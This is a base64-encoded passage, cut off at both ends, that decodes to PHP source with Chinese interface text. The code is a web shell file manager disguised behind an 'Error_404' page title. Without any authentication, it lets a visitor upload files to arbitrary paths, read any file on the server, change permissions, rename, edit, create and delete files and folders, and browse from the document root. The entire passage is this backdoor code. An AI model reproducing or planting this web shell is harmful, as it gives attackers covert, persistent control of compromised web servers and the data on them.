AwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCg0KJGdlbl9saW5rX3VybCA9ICc8YSBzdHlsZT0iY29sb3I6IzAwNjZGRiIgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLkRPQ1VNRU5UX1JPT1Q7DQokZ2VuX2xpbmtfdXJsIC49ICciPuagueebruW9lSDvvJogICAgPC9hPiZuYnNwOyc7DQplY2hvICRnZW5fbGlua191cmw7DQoNCmZvcmVhY2goJHBhdGhzIGFzICRpZD0+JHBhdCl7DQogICAgaWYoJHBhdCA9PSAnJyAmJiAkaWQgPT0gMCl7DQogICAgICAgICRhID0gdHJ1ZTsNCiAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9IzAwMD4NCjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOw0KICAgICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7DQogICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsNCiAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspew0KICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsNCiAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsNCiAgICB9DQogICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCn0NCmVjaG8gJzwvZm9udD4NCjxicj48YnI+DQo8L3RkPjwvdHI+PHRyPjx0ZD48Y2VudGVyPic7DQoNCmlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpew0KICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgIH1lbHNlew0KICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7DQogICAgfQ0KfQ0KZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSLkuIrkvKAiIC8+DQo8L2Zvcm0+PC9jZW50ZXI+DQo8L3RkPjwvdHI+JzsNCmlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsNCiAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsNCiAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107DQogICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsNCiAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7DQp9DQovL0VtcGV0eQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddICE9ICdkZWxldGUnKXsNCi8vIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOw0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9DaG1vZA0KICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsNCiAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107DQoNCiAgICAgICAgICAgIGlmKHN0cmxlbigkbmV3X3Blcm1fbyk8PTMpICRuZXdfcGVybV9vPXN0cl9wYWQoJG5ld19wZXJtX28sMywnNicsU1RSX1BBRF9MRUZUKTsNCiAgICAgICAgICAgICRuZXdfcGVybV9vPWludHZhbChzdHJfcGFkKCRuZXdfcGVybV9vLDQsJzAnLFNUUl9QQURfTEVGVCksOCk7DQoNCiAgICAgICAgICAgIGlmKGNobW9kKCRfUE9TVFsncGF0aCddLCRuZXdfcGVybV9vKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mm7TmlLnmnYPpmZDmiJDlip/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mm7TmlLnmnYPpmZDplJnor6/vvIEgPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPg0K5b2T5YmN5paH5Lu2IDogJy4kcGF0Yy4nPGJyPjxicj7mnYPpmZAtLS0tJy5zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJHBhdGMpLDEwLDgpLC00KS4nPGJyPjxicj4NCuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+DQo8L2Zvcm0+DQo8YnI+DQo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+DQonOw0KDQogICAgfQ0KLy8NCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsNCiAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107DQoNCiAgICAgICAgZWNobyAnPGZvcm0gYWN0aW9uPSI/QVJSQVk9Jy4kQVJSQVkuJyZvcHRpb24mcGF0aD0nLiRjd2QuJyZvcHQ9ZGVsZXRlJnR5cGU9YnVhdCIgbWV0aG9kPSJQT1NUIj4NCuaWsOebruW9leWQjSA6IDxpbnB1dCBuYW1lPSJuYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IkZvbGRlciIgLz4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJkZWxldGUiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgLz4NCjwvZm9ybT4nOw0KICAgIH0NCi8vUmVuYW1lIGZpbGUNCiAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdyZW5hbWUnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgIGlmKHJlbmFtZSgkX1BPU1RbJ3BhdGgnXSwkcGF0aC4nLycuJF9QT1NUWyduZXduYW1lJ10pKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPumHjeWRveWQjeaIkOWKnyEgOik8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPumHjeWRveWQjeWksei0pSEgOiggPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOw0KICAgICAgICB9DQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSAkX1BPU1RbJ25ld25hbWUnXTsNCg0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kcGF0Yy4nIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+DQo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4NCjwvZm9ybT4nOw0KICAgIH0NCi8vRmlsZSBiYXJ1DQogICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQogICAgICAgICRuZXcgPSBlbXB0eSgkX1BPU1RbJ25ld25hbWUnXSk/JF9QT1NUWyduZ2FyYW4xJ106JF9QT1NUWyduZXduYW1lJ107DQogICAgICAgICRhenogPSAkX1BPU1RbJ3BhdGgnXTsNCiAgICAgICAgJG5ld3ogPSAkYXp6LiIvIi4kbmV3Ow0KICAgICAgICAkbmV3X2ZpZWwgPSAkaGVsbC4nLycuJF9QT1NUWyduZ2FyYW4xJ107DQogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ25nYXJhbjEnXSkpIGVjaG8gIuato+WcqOaWsOW7uuaWh+S7tu+8mnskbmV3X2ZpZWx9PGJyPjxicj4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOw0KICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rmlofku7bmiJDlip8gWyAnLiRhenouJyBdPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlrDlu7rmlofku7blpLHotKUgPjooPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+IOaWsOaWh+S7tuWQjSA6IDxpbnB1dCBuYW1lPSJuZ2FyYW4xIiB0eXBlPSJ0ZXh0IiBzaXplPSIyMCIgdmFsdWU9IicuJG5ldy4nIiAvPjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9Im5nYXJhbiIgLz48L2Zvcm0+PGJyPiAnOw0KDQogICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOw0KDQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnbmdhcmFuJ10pKXsNCiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+DQo8dGV4dGFyZWEgY29scz04MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRjKSkuJzwvdGV4dGFyZWE+PGJyIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ib3B0IiB2YWx1ZT0iZWRpdCI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjwvZm9ybT4nOw0KICAgICAgICB9DQogICAgfQ0KLy9FZGl0ZWQgZmlsZQ0KICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ2VkaXQnKXsNCiAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgJGZwID0gZm9wZW4oJF9QT1NUWydwYXRoJ10sJ3cnKTsNCiAgICAgICAgICAgIGlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+57yW6L6R5oiQ5Yqf77yBIDwvZm9udD48YnIgLz48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+57yW6L6R5aSx6LSl77yBPC9mb250PjxiciAvPjxiciAvPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsNCiAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOw0KICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPg0KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij48YnI+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiAgLz4NCjxicj4NCjxicj4NCjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPg0KDQo8L2Zvcm0+JzsNCiAgICB9DQogICAgZWNobyAnPC9jZW50ZXI+JzsNCn1lbHNlew0KICAgIGVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOw0KLy9EZWxldGUgZGlyIGFuZCBmaWxlDQogICAgaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gPT0gJ2RlbGV0ZScpew0KDQogICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsNCiAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOw0KICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCi8vRGVsZXRlIGRpcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdkaXInKXsNCg0KICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgfWVsc2V7DQogICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9idWF0IGZvbGRlcg0KICAgICAgICBpZigkX0dFVFsndHlwZSddID09ICdidWF0Jyl7DQogICAgICAgICAgICAkaGFhYSA9ICRfUE9TVFsncGF0aCddOw0KICAgICAgICAgICAgJGhlZWUgPSAkX1BPU1RbJ25hbWUnXTsNCiAgICAgICAgICAgICRob29vID0gIiRoYWFhLyRoZWVlIjsNCiAgICAgICAgICAgICRuZXcgPSAkaGFhYS4nLycuaHRtbHNwZWNpYWxjaGFycygkaGVlZSk7DQogICAgICAgICAgICBpZighbWtkaXIoJG5ldykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuebruW9leWksei0pSE8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH1lbHNlew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paw5bu655uu5b2V5oiQ5YqfISA+Oik8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KLy9EZWxldGUgZmlsZQ0KICAgICAgICBlbHNlaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZmlsZScpew0KDQogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107DQogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107DQogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7DQoNCiAgICAgICAgICAgIGlmKHVubGluaygkcGF0Yykpew0KICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5paH5Lu25Yig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbG